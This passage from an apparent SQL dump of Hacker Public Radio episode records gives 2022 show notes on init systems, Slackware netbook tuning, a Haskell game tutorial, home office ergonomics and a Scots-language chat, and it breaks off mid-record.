(3583,'2022-04-27','takov751 and dnt talk about browsers',473,'After episode 3543, some messages were exchanged','<p>This is the follow up to episode 3543. HPR host takov751 had some things to say and I responded.</p>\r\n<p>If you have any topic ideas for a show in this type of format, let me know or post a show yourself.</p>',399,0,1,'CC-BY-SA','browsers',0,0,1),
(3588,'2022-05-04','Linux Inlaws S01E55: Get yer boots on for a fresh look at init systems',2779,'Martin and Chris discuss what happens when you turn on a computer (preferably running Linux)','<p>In this episode, Martin and Chris discuss init systems and Chris outs\r\nhimself as a systemd fan boy (Devuan followers take note :-). Even Linux and\r\nother FLOSS OS geeks not interested in what happens when you flick the power\r\nswitch on a computer may find this episode (vaguely) interesting as some light\r\nis also shed on the philosophy of the different system architectures and their\r\nhistory (Ever wanted to know what an /360 IPL really is? Then stay tuned...).\r\nDisclosure: The following text may resort to regular expressions to keep\r\nthings concise and simple. Some of the PCRE-challenged readers may take\r\noffence - you have been warned.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Booting a PC: <a href=\"https://en.wikipedia.org/wiki/Booting#Personal_computers_(PC)\" target=_blank>https://en.wikipedia.org/wiki/Booting#Personal_computers_(PC)</a></li>\r\n<li>GRUB: <a href=\"https://www.gnu.org/software/grub\" target=_blank>https://www.gnu.org/software/grub</a></li>\r\n<li>([A-Z][a-z]+ux) Init systems (general overview): <a href=\"https://arxiv.org/pdf/0706.2748v1.pdf\" target=_blank>https://arxiv.org/pdf/0706.2748v1.pdf</a></li>\r\n<li>SysV init: <a href=\"https://en.wikipedia.org/wiki/Init#SysV-style\" target=_blank>https://en.wikipedia.org/wiki/Init#SysV-style</a></li>\r\n<li>systemd: <a href=\"https://0pointer.de/blog/projects/systemd.html\" target=_blank>https://0pointer.de/blog/projects/systemd.html</a></li>\r\n<li>OpenRC: <a href=\"https://github.com/OpenRC/openrc\" target=_blank>https://github.com/OpenRC/openrc</a></li>\r\n<li>Canonical\'s Upstart: <a href=\"https://upstart.ubuntu.com\" target=_blank>https://upstart.ubuntu.com</a></li>\r\n<li>Switch from upstart to systemd: <a href=\"https://www.markshuttleworth.com/archives/1316\" target=_blank>https://www.markshuttleworth.com/archives/1316</a></li>\r\n<li>Runlevels: <a href=\"https://www.linfo.org/runlevel_def.html\" target=_blank>https://www.linfo.org/runlevel_def.html</a></li>\r\n<li>Serial console: <a href=\"https://www.kernel.org/doc/html/latest/admin-guide/serial-console.html\" target=_blank>https://www.kernel.org/doc/html/latest/admin-guide/serial-console.html</a></li>\r\n<li>Hello Magazine: <a href=\"https://www.hellomagazine.com\" target=_blank>https://www.hellomagazine.com</a></li>\r\n<li>Unix philosophy: <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\" target=_blank>https://en.wikipedia.org/wiki/Unix_philosophy</a></li>\r\n<li>And in much more detail: <a href=\"https://www.catb.org/~esr/writings/taoup/html/ch01s06.html\" target=_blank>https://www.catb.org/~esr/writings/taoup/html/ch01s06.html</a></li>\r\n<li>Devuan: <a href=\"https://www.devuan.org\" target=_blank>https://www.devuan.org</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','init, SysVInit, Upstart, systemd, GRUB, Unix philosophy, Hello Magazine',0,0,1),
(3591,'2022-05-09','Small Flashlights',675,'Stuff that goes in your pocket','<p>Just had my birthday got some lights</p>\r\n',129,0,0,'CC-BY-SA','Flashlight,usb,pocket device ',0,0,1),
(3577,'2022-04-19','Hello and how I got into tech',444,'Hi, I\'m Sarah and this is how I got into Tech','<p>Hi, I\'m Sarah. In this show, I introduce myself and ramble about how I got into tech. Despite saying I hate talking about myself, I managed 7 minutes and 25 seconds. I started as a kid with a Tandy and eventually ended up being a librarian and a sysadmin for a RedHat system.</p>',404,29,1,'CC-BY-SA','intro, linux',0,0,1),
(3605,'2022-05-27','Aspire-ing to use 13 year hardware',502,'Part 2 of using Slackware on the old netbook','<h3 id=\"aspireing-to-use-13-year-hardware\">Aspire-ing to use 13 year hardware</h3>\r\n<h4 id=\"dual-boot\">Dual boot</h4>\r\n<pre><code>image = /boot/vmlinuz\r\n root = /dev/sda3\r\n label = Slackware15.0\r\n read-only\r\nimage = /boot/vmlinuz\r\n root = /dev/sda2\r\n label = Slackware14.2\r\n read-only</code></pre>\r\n<h4 id=\"first-change\">First change</h4>\r\n<pre><code># LILO configuration file\r\n# Append any additional kernel parameters:\r\nappend=&quot;acpi=ht&quot;</code></pre>\r\n<p>Dropped CPU usage to 50%</p>\r\n<h4 id=\"second-change\">Second change</h4>\r\n<pre><code>grep . -r /sys/firmware/acpi/interrupts/\r\n\r\n/sys/firmware/acpi/interrupts/gpe1D:322734808 STS enabled unmasked\r\n\r\necho &quot;mask&quot; &gt; /sys/firmware/acpi/interrupts/gpeXX</code></pre>\r\n<h4 id=\"interrupts\">Interrupts</h4>\r\n<p><em>Interrupts</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3605/interrupts.png\" alt=\"Interrupts\" /> </p>\r\n<p>My case was</p>\r\n<pre><code>echo &quot;mask&quot; &gt; /sys/firmware/acpi/interrupts/gpe1D</code></pre>\r\n<p>Dropped usage to 0-5%</p>\r\n<p>Then added the mask to crontab -e under root</p>\r\n<p>Add \'acpi_mask_gpe=0x1D\' or whatever interrupt corresponds to the overactive one, and remember to run the lilo command afterward to make the kernel option active.</p>\r\n<p><em>Htop options for CPU usage</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3605/options.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3605/options_thumbnail.png\" alt=\"Htop options for CPU usage\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\r\n<p><em>Htop display</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3605/htop.png\" alt=\"Htop display\" /> </p>\r\n<h4 id=\"upgrades\">Upgrades</h4>\r\n<p>Fan from AliExpress</p>\r\n<p><a href=\"https://www.aliexpress.com/item/32861732299.html\" class=\"uri\">https://www.aliexpress.com/item/32861732299.html</a></p>\r\n<p><em>Replacement fan</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3605/fan.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3605/fan_thumbnail.png\" alt=\"Replacement fan\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\r\n<p>2GB DDR2 667MHz SODIMM PC2-5300</p>\r\n<p><a href=\"https://www.amazon.com/gp/product/B00C53A37K\" class=\"uri\">https://www.amazon.com/gp/product/B00C53A37K</a></p>\r\n<p><em>2Gb ram upgrade</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3605/memory.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3605/memory_thumbnail.jpg\" alt=\"2Gb ram upgrade\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\r\n<h4 id=\"resources\">Resources</h4>\r\n<p><a href=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/kernel_administration_guide/listing_of_kernel_parameters_and_values\" class=\"uri\">https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/kernel_administration_guide/listing_of_kernel_parameters_and_values</a></p>\r\n<pre><code>acpi=ht</code></pre>\r\n<p><a href=\"https://www.kernel.org/doc/ols/2005/ols2005v1-pages-59-76.pdf\" class=\"uri\">https://www.kernel.org/doc/ols/2005/ols2005v1-pages-59-76.pdf</a></p>\r\n<p>Use ACPI boot table parsing, but do not enable ACPI interpreter This disables any ACPI functionality that is not required for Hyper Threading.</p>\r\n<p>ACPI (Advanced Configuration and Power Interface) is an open industry specification establishing industry-standard interfaces for OS-directed configuration and power management on laptops, desktops, and servers.</p>\r\n<h4 id=\"hpr3511-podman-like-vagrant\">HPR3511 Podman like Vagrant</h4>\r\n<p><a href=\"https://archive.org/details/hpr3511\" class=\"uri\">https://archive.org/details/hpr3511</a></p>\r\n',318,0,0,'CC-BY-SA','Slackware, netbook, interrupts, htop, upgrades',0,0,1),
(3592,'2022-05-10','A quick look at the Surface pro X',1380,'Knightwise gives a quick overview of 3 months on the Surface pro X','<p>I talk about the Surface Pro X I got at the beginning of the year and what the pro\'s and cons of it are.<br />\r\nMore at <a href=\"https://www.knightwise.com\">www.knightwise.com</a><br />\r\nTwitter: <a href=\"https://twitter.com/knightwise\">twitter.com/knightwise</a></p>\r\n\r\n<hr />\r\n<p><small>Added by Ken when posting</small></p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X\">From Wikipedia, the free encyclopedia</a>\r\n</p>\r\n\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/d/d5/Surface_Pro_X.png/528px-Surface_Pro_X.png\" />\r\n\r\n<p>The <b>Surface Pro X</b> is a 2-in-1 detachable <a href=\"https://en.wikipedia.org/wiki/Tablet_computer\" title=\"Tablet computer\">tablet computer</a> developed by <a href=\"https://en.wikipedia.org/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a>. It was developed alongside and was announced on 2 October 2019 alongside the <a href=\"https://en.wikipedia.org/wiki/Surface_Pro_7\" title=\"Surface Pro 7\">Surface Pro 7</a> and <a href=\"https://en.wikipedia.org/wiki/Surface_Laptop_3\" title=\"Surface Laptop 3\">Surface Laptop 3</a>.<sup id=\"cite_ref-Faulkner_1-0\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-Faulkner-1\">[1]</a></sup> Updated hardware was announced alongside <a href=\"https://en.wikipedia.org/wiki/Surface_Laptop_Go\" title=\"Surface Laptop Go\">Surface Laptop Go</a> and Surface accessories on October 1, 2020<sup id=\"cite_ref-2\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-2\">[2]</a></sup> and September 22, 2021.<sup id=\"cite_ref-3\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-3\">[3]</a></sup> The device starts at $899.99 <a href=\"https://en.wikipedia.org/wiki/United_States_Dollar\" class=\"mw-redirect\" title=\"United States Dollar\">US</a>D / £849.99.<sup id=\"cite_ref-4\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-4\">[4]</a></sup><sup id=\"cite_ref-5\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-5\">[5]</a></sup>\r\n</p><p>The Surface Pro X comes with a <a href=\"https://en.wikipedia.org/wiki/List_of_Qualcomm_Snapdragon_systems-on-chip#Microsoft_SQ1_and_SQ2\" class=\"mw-redirect\" title=\"List of Qualcomm Snapdragon systems-on-chip\">Microsoft SQ1 or SQ2</a> <a href=\"https://en.wikipedia.org/wiki/ARM_architecture\" class=\"mw-redirect\" title=\"ARM architecture\">ARM</a> processor, which the company claimed has three times the performance of an x86 <a href=\"https://en.wikipedia.org/wiki/MacBook_Air\" title=\"MacBook Air\">MacBook Air</a>, whilst also having a 13-hour battery life. This is due to the increased power efficiency of ARM processors compared to traditional x86 processors.<sup id=\"cite_ref-Faulkner_1-1\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-Faulkner-1\">[1]</a></sup><sup id=\"cite_ref-6\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-6\">[6]</a></sup><sup id=\"cite_ref-7\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-7\">[7]</a></sup> Microsoft has previously used ARM processors in the discontinued <a href=\"https://en.wikipedia.org/wiki/Surface_RT\" class=\"mw-redirect\" title=\"Surface RT\">Surface RT</a> and <a href=\"https://en.wikipedia.org/wiki/Windows_Phone\" title=\"Windows Phone\">Windows Phone</a> devices.\r\n</p><p>Microsoft now offers a Wifi-only version of the device as announced at their Surface Event on September 22, 2021.<sup id=\"cite_ref-8\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-8\">[8]</a></sup>\r\n</p>\r\n',111,0,0,'CC-BY-SA','surface, windows, laptop, hardware, review',0,0,1),
(3582,'2022-04-26','Rolling a new character',1793,'Tuula continues writing an example Haskell game, this time rolling a new character','<h1 id=\"quick-peek-at-some-places-in-code\">Quick peek at some places in code</h1>\n<p><code>Main.hs</code> has our <code>Main</code> module definition. It was generated by <code>Stack</code> when we started. In the end of the <code>main</code> function, it calls <code>run</code> function, which is defined in <code>Run.hs</code> file. This is the place where we can see overall flow of the program in one glance.</p>\n<pre><code>run :: RIO App ()\nrun = do\n choice &lt;- showMainMenu\n case choice of\n StarNewGame -&gt; do\n logDebug &quot;New game starting...&quot;\n logDebug &quot;Rolling new character...&quot;\n player &lt;- liftIO $ evalRandIO rollNewCharacter\n displayNewCharacter player\n logDebug &quot;Selecting starting gear...&quot;\n gear &lt;- selectStartingGear $ playerGear player\n logDebug &quot;Preparing game...&quot;\n game &lt;- liftIO $ evalRandIO $ startGame player gear\n logDebug &quot;Dealing first card...&quot;\n finishedGame &lt;- playGame game\n logDebug &quot;Displaying game over...&quot;\n displayGameOver finishedGame\n\n ExitGame -&gt;\n return ()</code></pre>\n<p>Another interesting module is <code>Types</code>. Here you can find how player, items, monsters and such are represented.</p>\n<p>Third and biggest module is <code>UserInterface</code>, which contains functions to display game status to player and ask their input.</p>\n<p>So, what does our <code>run</code> function do? Lets have a look:</p>\n<ul>\n<li><code>choice &lt;- showMainMenu</code>\n<ul>\n<li>show main menu and ask for player input</li>\n</ul></li>\n<li><code>case choice of</code>\n<ul>\n<li>depending on the choice, continue with game logic or exit the function</li>\n</ul></li>\n<li><code>player &lt;- liftIO $ evalRandIO rollNewCharacter</code>\n<ul>\n<li>roll a new character</li>\n<li><code>evalRandIO</code> indicates we\'re dealing with random numbers</li>\n</ul></li>\n<li><code>displayNewCharacter player</code>\n<ul>\n<li>display the new character on screen</li>\n</ul></li>\n<li><code>gear &lt;- selectStartingGear $ playerGear player</code>\n<ul>\n<li>select starting gear</li>\n</ul></li>\n<li><code>game &lt;- liftIO $ evalRandIO $ startGame player gear</code>\n<ul>\n<li>shuffle the deck and set up the game</li>\n<li>again using random numbers here</li>\n</ul></li>\n<li><code>finishedGame &lt;- playGame game</code>\n<ul>\n<li>play game until we\'re done</li>\n</ul></li>\n<li><code>displayGameOver finishedGame</code>\n<ul>\n<li>display game over screen</li>\n</ul></li>\n</ul>\n<h1 id=\"word-about-input-and-output\">Word about input and output</h1>\n<p>One of the features of Haskell I like is the ability to show which functions are pure (always returning same output with given set of inputs and not having any side effects). In our program, every function that returns <code>RIO a b</code> has access to input and output. In addition to that, it also has access to system wide configuration (which we don\'t use much here) and logging functions.</p>\n<p>To write on the screen, we use <code>putStrLn</code> and reading a user input <code>readLine</code>. Since they\'re designed to work with <code>IO</code> instead of <code>RIO a b</code>, we have to use <code>liftIO</code>. But all that is technical details that we won\'t worry now.</p>\n<p><code>App</code> is our configuration. We aren\'t directly using it, so it\'s safe to ignore for now.</p>\n<h1 id=\"showing-main-menu\">Showing main menu</h1>\n<p><code>showMainMenu</code> function will print out the menu and then call <code>mainMenuInput</code>. <code>mainMenuInput</code> will read input, validate that it\'s either <code>1</code> or <code>2</code> and return respectively <code>StarNewGame</code> or <code>ExitGame</code>. In case user enters something else, <code>mainMenuInput</code> will recurse until user enters valid input.</p>\n<pre><code>-- | Display main menu\nshowMainMenu :: RIO App MainMenuChoice\nshowMainMenu = do\n logDebug &quot;Displaying main menu&quot;\n liftIO $ putStrLn &quot;\\n\\n&quot;\n liftIO $ putStrLn &quot;Treasure Dungeon&quot;\n liftIO $ putStrLn &quot;****************&quot;\n liftIO $ putStrLn &quot;&quot;\n liftIO $ putStrLn &quot;1. Start a new game&quot;\n liftIO $ putStrLn &quot;2. Quit&quot;\n mainMenuInput\n\nmainMenuInput :: RIO App MainMenuChoice\nmainMenuInput = do\n i &lt;- liftIO getLine\n case i of\n &quot;1&quot; -&gt; return StarNewGame\n &quot;2&quot; -&gt; return ExitGame\n _ -&gt; do\n logDebug $ displayShow $ &quot;Incorrect menu choice: &quot; &lt;&gt; i\n liftIO $ putStrLn &quot;Please select 1 or 2&quot;\n mainMenuInput</code></pre>\n<p>You might wonder, why <code>mainMenuInput</code> can keep calling itself without filling the stack? That\'s because Haskell doesn\'t use stack in the same sense as many other programming languages. Haskell compiler is also smart enough to notice that call to <code>mainMenuInput</code> is last operation of the <code>mainMenuInput</code>, there is no work to be done after the call, and thus can optimize things even more. I don\'t know all the dirty details how this has been implemented and how things work behind the curtains.</p>\n<h1 id=\"rolling-new-character\">Rolling new character</h1>\n<p><code>player &lt;- liftIO $ evalRandIO rollNewCharacter</code> rolls a new character, but what exactly is going on here? <code>rollNewChacter</code> has following signature: <code>rollNewCharacter :: (RandomGen g) =&gt; Rand g Player</code>. It doesn\'t take any parameters and returns <code>Rand g Player</code>, where <code>g</code> implements <code>RandomGen</code>. So, it\'s <code>Rand</code> monad that returns <code>Player</code>. In order to get the result of the computation, we call <code>evalRandIO</code> that uses global random number generator to compute. And since it\'s an <code>IO</code> operation, we need <code>liftIO</code>. It\'s bit confusing at first, so don\'t worry if you don\'t get all the details. The main point is that we\'re doing computation with random numbers.</p>\n<p>Implementation is not too complex:</p>\n<pre><code>rollNewCharacter :: (RandomGen g) =&gt; Rand g Player\nrollNewCharacter = do\n str &lt;- dice 3\n dex &lt;- dice 3\n mind &lt;- dice 3\n maxHp &lt;- dice 4\n return $ Player\n { playerStrength = MkStrength str\n , playerDexterity = MkDexterity dex\n , playerMind = MkMind mind\n , playerHP = MkHP maxHp\n , playerMaxHP = MkHP maxHp\n , playerGear = [ ]\n }</code></pre>\n<p>This rolls three six sided dice for each attribute and 4 for hit points. The values are then used to create <code>Player</code> record that is returned.</p>\n<p><code>dice</code> is implemented as following:</p>\n<pre><code>dice :: (RandomGen g) =&gt; Natural -&gt; Rand g Natural\ndice n = do\n rolls &lt;- getRandomRs (1, 6)\n let roll = sum $ take (fromIntegral n) rolls\n return $ fromInteger roll</code></pre>\n<p>Again, we\'re using <code>Rand</code> monad for random number generation. <code>getRandomRs</code> supplies us an infinite list of numbers between <code>1</code> and <code>6</code>. Then we use <code>take</code> to some of them and <code>sum</code> to add them together. <code>fromIntegral n</code> is needed, because <code>take</code> doesn\'t operate on <code>Natural</code> type, but <code>Int</code>. I wanted to use <code>Natural</code> though, because that ensures that the parameter <code>n</code> will always be <code>0</code> or more.</p>\n<h1 id=\"in-closing\">In closing</h1>\n<p>Now we have a basic layout for our program and know how to roll a character with random stats. Next time we\'ll finally look into getting some gear on them. The code for the game is available at my <a href=\"https://codeberg.org/Tuula/treasure-dungeon/\">codeberg repository</a>.</p>\n<p>ad astra!</p>\n',364,107,0,'CC-BY-SA','game development, haskell',0,0,1),
(3584,'2022-04-28','The collective history of RAID controller brands',1074,'The story of Raid cards 1999 to present','<p>The market segment of RAID adapters has a long history and tradition, and has undergone gradual concentration, followed by upstream mergers of the owning corporations - a feeding frenzy of sorts, among the semiconductor manufacturers.</p>\n<p><a href=\"https://support.fccps.cz/industry/RAID_history/index.htm\" class=\"uri\">https://support.fccps.cz/industry/RAID_history/index.htm</a></p>\n',129,0,0,'CC-BY-SA','HBA,Raid,Raid card,Mylex,Adaptec',0,0,1),
(3585,'2022-04-29','Freedom of speech in open source, Part 2.',793,'Freedom has a cost.','<p>Check out the first episode of <a href=\"https://hackerpublicradio.org/eps.php?id=3553\">Freedom of speech in open source</a></p>\n',391,0,0,'CC-BY-SA','Free Speech',0,0,1),
(3587,'2022-05-03','20220406_UDM',766,'I talk about my Home Router U D M from ubiquity','<p>My firewall rules!</p>\n<p><a href=\"https://rmccurdy.com/stuff/.iptables.txt\" class=\"uri\">https://rmccurdy.com/stuff/.iptables.txt</a></p>\n',36,0,1,'CC-BY-SA','routers,firewalls,wireless,home networking',0,0,1),
(3593,'2022-05-11','Home office setup mouse shoulder and Auto Hot Key Scripts',1371,'I talk about my issues and solutions for desk ergonomics','<ul>\n<li><p>Anti Fatigue Floor Mat,Kitchen Mat<br />\n<a href=\"https://smile.amazon.com/gp/product/B076SPLWQF\" class=\"uri\">https://smile.amazon.com/gp/product/B076SPLWQF</a></p></li>\n<li><p>FEZIBO Dual Motor Height Adjustable<br />\n<a href=\"https://smile.amazon.com/gp/product/B07QCNL73Y\" class=\"uri\">https://smile.amazon.com/gp/product/B07QCNL73Y</a></p></li>\n<li><p>WALMANN 24\" Folding Shelf Brackets, Collapsible Brackets for Shelves Wall Mounted Hinges Space Saving DIY Bracket for Table Bench, Max Load 500 LBS<br />\n<a href=\"https://smile.amazon.com/gp/product/B08F4VNT9P\" class=\"uri\">https://smile.amazon.com/gp/product/B08F4VNT9P</a></p></li>\n<li><p>Adesso iMouse E9 Left-Handed Vertical Ergonomic Mouse<br />\n<a href=\"https://smile.amazon.com/gp/product/B01N4WA12I\" class=\"uri\">https://smile.amazon.com/gp/product/B01N4WA12I</a></p></li>\n<li><p>Autohotkey macros for LEFT HANDED person!<br />\n<a href=\"https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey\" class=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey</a></p>\n<ul>\n<li>auto installs Autohotkey</li>\n<li>pulls down latest config/AHK script from github</li>\n<li>runs it and based on IP address sets different configurations</li>\n</ul></li>\n</ul>\n',36,0,0,'CC-BY-SA','Ergonomic,back pain,health,fitness',0,0,1),
(3594,'2022-05-12','Peely-wally in Edinburgh',4057,'MrX and Dave Morriss chatting about this and that','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave Morriss</a></li>\n</ul>\n<p>We recorded this on Sunday April 24<sup>th</sup> 2022. This is effectively a continuation of the last show, since we found we had lots more to talk about!</p>\n<p><small>Note on the title: again we spoke about the Scots language on the show, so it seemed like a good idea to include more of it in the notes and so on.</small></p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Dampers (in relation to coal fires), a topic we discussed last time:\n<ul>\n<li>MrX found a version of the <a href=\"https://youtu.be/KbauWEfiCMo\">Damper song</a> on YouTube</li>\n</ul></li>\n</ul>\n<ul>\n<li>PC issues:\n<ul>\n<li>Daves home-built desktop PC had another disk problem</li>\n<li>Running a SMART daemon (under SystemD) gives warnings of imminent disk problems</li>\n<li>HP Proliant MicroServer - an AMD-based machine sold in the 2010s (?) by HP with a substantial discount. (Prices cited in the audio are probably not reliable!)</li>\n<li>Regarding the failed PSU mentioned last time, there was speculation about whether turning off at the mains every day is a good idea. MrX is inclined to think that it is not.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Remote-controlled plugs:\n<ul>\n<li>Dave used a set of <em>Brennenstuhl</em> plugs for a while until several of them were destroyed!</li>\n<li>Now has two <em>Sonoff</em> plugs which can be flashed with firmware and controlled with MQTT as part of a Smart Home</li>\n</ul></li>\n</ul>\n<ul>\n<li>Programming:\n<ul>\n<li>MrX has recently been writing a Bash script, and found it difficult to get back into it.</li>\n<li>Dave had written in DEC Pascal on a VAXCluster for many years, but cant remember any of it any more.</li>\n<li>Discussion of Delphi, Borland C++</li>\n<li>Neither MrX nor Dave has used C very much</li>\n</ul></li>\n</ul>\n<ul>\n<li>Difficulty of producing HPR shows:\n<ul>\n<li>Pandemic effects on motivation</li>\n<li>Complications of working from home</li>\n<li>Happily the rate of contributions to HPR has been increasing in the past few months</li>\n<li>Adding pictures to shows still needs documentation</li>\n</ul></li>\n</ul>\n<ul>\n<li>Smart speakers:\n<ul>\n<li>MrX already had two Google Home devices and got a free Amazon Echo (with Alexa software) from his ISP.</li>\n<li>The Echo didnt prove to be very useful as a means of listening to BBC radio, and the sign-up was intrusive.</li>\n<li>The Google Home devices are preferable; they give easier access to BBC Radio as well as services like Spotify.</li>\n<li>Dave is avoiding all such devices!</li>\n</ul></li>\n</ul>\n<ul>\n<li>Old computing equipment:\n<ul>\n<li>Dave has an old 132-column Anadex matrix printer with a Centronics interface in his attic - found recently when clearing it out.</li>\n<li>MrX remembered removable Diablo disks.</li>\n<li>Dave reminisced about writing software in Coral66 on a CTL Modular 1 computer in the 1970s, which also had removable disks.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Being back at work again:\n<ul>\n<li>MrX is now in the office twice a week</li>\n<li>The Scotland mask mandate has ended but many people are still wearing them</li>\n<li>People are catching SARS-CoV-2 at work, and particularly from children who are back at school, but vaccination means the effects tend to be milder.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Hayfever (seasonal allergies):\n<ul>\n<li>MrX is taking a <em>30C</em> remedy (a remedy labeled 30C has been serially diluted 1:100 thirty times, so is <em>extremely</em> dilute)</li>\n<li>Dave still suffers from hayfever and takes Cetirizine through spring and summer</li>\n<li>Dave thinks he developed hayfever in the hot summer and drought of 1976 on a field course in Gloucestershire. (BBC News story: <a href=\"https://www.bbc.co.uk/news/magazine-35603972.amp\">Could the ladybird plague of 1976 happen again?</a>)</li>\n</ul></li>\n</ul>\n<ul>\n<li>Medical issues:\n<ul>\n<li>Rheumatoid arthritis - auto-immune origins</li>\n<li>Trigger finger (also known as <em>stenosing tenosynovitis</em>)</li>\n</ul></li>\n</ul>\n<h2 id=\"scots-vocabulary\">Scots vocabulary</h2>\n<dl>\n<dt><b>swither</b></dt>\n<dd><em>noun</em>: A state of indecision or doubt, a pondering, hesitation, uncertainty.\n</dd>\n<dd><em>verb</em>: To be in a state of uncertainty of purpose, to be perplexed about what to do or choose, be in two minds, to doubt, hesitate, dither.\n</dd>\n<dd><br/>\n</dd>\n<dt><b>peely-wally</b> (or <b>peelie-wallie</b> or <b>peelie-wally</b>)</dt>\n<dd><em>adjective</em>: pale, wan and off-colour; insipid and colourless.\n</dd>\n</dl>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Scots words:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Scots_language\">Scots Language</a></li>\n<li><a href=\"https://www.scots-online.org/dictionary/english_scots.php\">The online Scots dictionary (English to Scots)</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Smart Speakers:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Smart_speaker\">Wikipedia article on Smart Speakers</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Old computing equipment:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Centronics\">Wikipedia article on Centronics printers</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Diablo_Data_Systems\">Wikipedia article on Diabolo disks</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Computer_Technology_Limited\">Wikipedia article on Computer Technology Limited (CTL)</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Homeopathic dilutions:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Homeopathic_dilutions\">Wikipedia article on Homeopathic dilutions</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Medical matters\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Rheumatoid_arthritis\">Wikipedia article on Rheumatoid arthritis</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Trigger_finger\">Wikipedia article on Trigger finger</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','conversation,Scots language,swither,peely-wally',0,0,1),
(3595,'2022-05-13','I am sure I changed my password last...???',641,'Pilot episode. Change your password','<p>Pilot episode. Change your password. Leave me feedback but be gentle...or not</p>\n',405,74,0,'CC-BY-SA','password, cybersecurity,password1234',0,0,1),
(3599,'2022-05-19','Linux Inlaws S01E56: Slackware - A User\'s Perspective',2676,'A discussion with a long-time Slackware user about this oldest Linux distro still alive','<p>In this episode Martin and Chris managed to ensnare a member of the Linux User Group\nFrankfurt (FraLUG) to talk about his history with Slackware, currently the\noldest Linux distribution still maintained. If you ever fancied to know more\nabout this grandfather of a distribution and its ins and outs, this is your\nshow. Plus we get to know more about one of Chris\' well-kept secrets...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>Slackware: <a href=\"https://www.slackware.com\" target=_blank>https://www.slackware.com</a></li>\n<li>LILO: <a href=\"https://www.joonet.de/lilo\" target=_blank>https://www.joonet.de/lilo</a></li>\n<li>sed: <a href=\"https://www.gnu.org/software/sed\" target=_blank>https://www.gnu.org/software/sed</a></li>\n<li>Linux From Scratch: <a href=\"https://www.linuxfromscratch.org\" target=_blank>https://www.linuxfromscratch.org</a></li>\n<li>Arch Linux on ARM 32 bit support: <a href=\"https://archlinuxarm.org/forum/viewtopic.php?f=3&t=15721\" target=_blank>https://archlinuxarm.org/forum/viewtopic.php?f=3&t=15721</a></li>\n<li>Seafile\'s demise: <a href=\"https://github.com/haiwen/seafile/graphs/code-frequency\" target=_blank>https://github.com/haiwen/seafile/graphs/code-frequency</a></li>\n<li>Distrowatch: <a href=\"https://distrowatch.com\" target=_blank>https://distrowatch.com</a></li>\n<li>The Ipcress File (65\'s movie): <a href=\"https://www.imdb.com/title/tt0059319/?ref_=nv_sr_srsg_3\" target=_blank>https://www.imdb.com/title/tt0059319/?ref_=nv_sr_srsg_3</a></li>\n<li>The Ipcress File (22\'s TV miniseries): <a href=\"https://www.imdb.com/title/tt13636038/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt13636038/?ref_=nv_sr_srsg_0</a></li>\n<li>Meet the Feebles: <a href=\"https://www.imdb.com/title/tt0097858/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt0097858/?ref_=nv_sr_srsg_0</a></li>\n<li>Peter Jackson: <a href=\"https://en.wikipedia.org/wiki/Peter_Jackson\" 